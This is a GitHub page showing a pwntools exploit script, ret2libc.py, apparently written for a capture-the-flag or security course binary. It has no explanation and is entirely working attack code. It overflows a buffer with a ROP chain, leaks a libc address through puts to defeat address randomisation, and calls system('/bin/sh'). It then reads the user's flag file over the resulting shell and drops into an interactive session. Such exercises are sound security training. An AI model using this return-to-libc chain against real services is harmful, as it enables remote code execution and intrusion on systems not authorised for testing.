-
Notifications
You must be signed in to change notification settings - Fork 39
/
ret2libc.py
executable file
·67 lines (51 loc) · 1.03 KB
/
ret2libc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/env python
from pwn import *
context.arch = 'amd64'
l = ELF( './libc-2.27.so' )
y = remote( 'localhost' , 10175 )
#y = remote( 'edu-ctf.csie.org' , 10175 )
#y = process( '../ret2libc/share/ret2libc' )
#pause()
bss = 0x6b6000
pop_rdi = 0x0000000000400733
pop_rsi_r15 = 0x0000000000400731
ret = 0x400506
gets_plt = 0x400530
puts_plt = 0x400520
libc_start_main_got = 0x600ff0
main = 0x400698
p = flat(
'a' * 0x38,
pop_rdi,
libc_start_main_got,
puts_plt,
main
)
y.sendlineafter( ':D' , p )
y.recvline()
libc = u64( y.recv(6) + '\0\0' ) - 0x21ab0
success( 'libc -> %s' % hex( libc ) )
system_off = 0x4f440
system_func_ptr = libc + system_off
bin_sh = libc + 0x1b3e9a
#print '"/bin/sh" str :' , hex( l.search( '/bin/sh' ).next() )
# For demo
'''
p = flat(
'a' * 0x38,
ret,
pop_rdi,
l.search( '/bin/sh' ).next(),
l.sym.system
)
'''
p = flat(
'a' * 0x38,
ret,
pop_rdi,
bin_sh,
system_func_ptr
)
y.sendlineafter( ':D' , p )
y.sendline( 'cat /home/`whoami`/flag' )
y.interactive()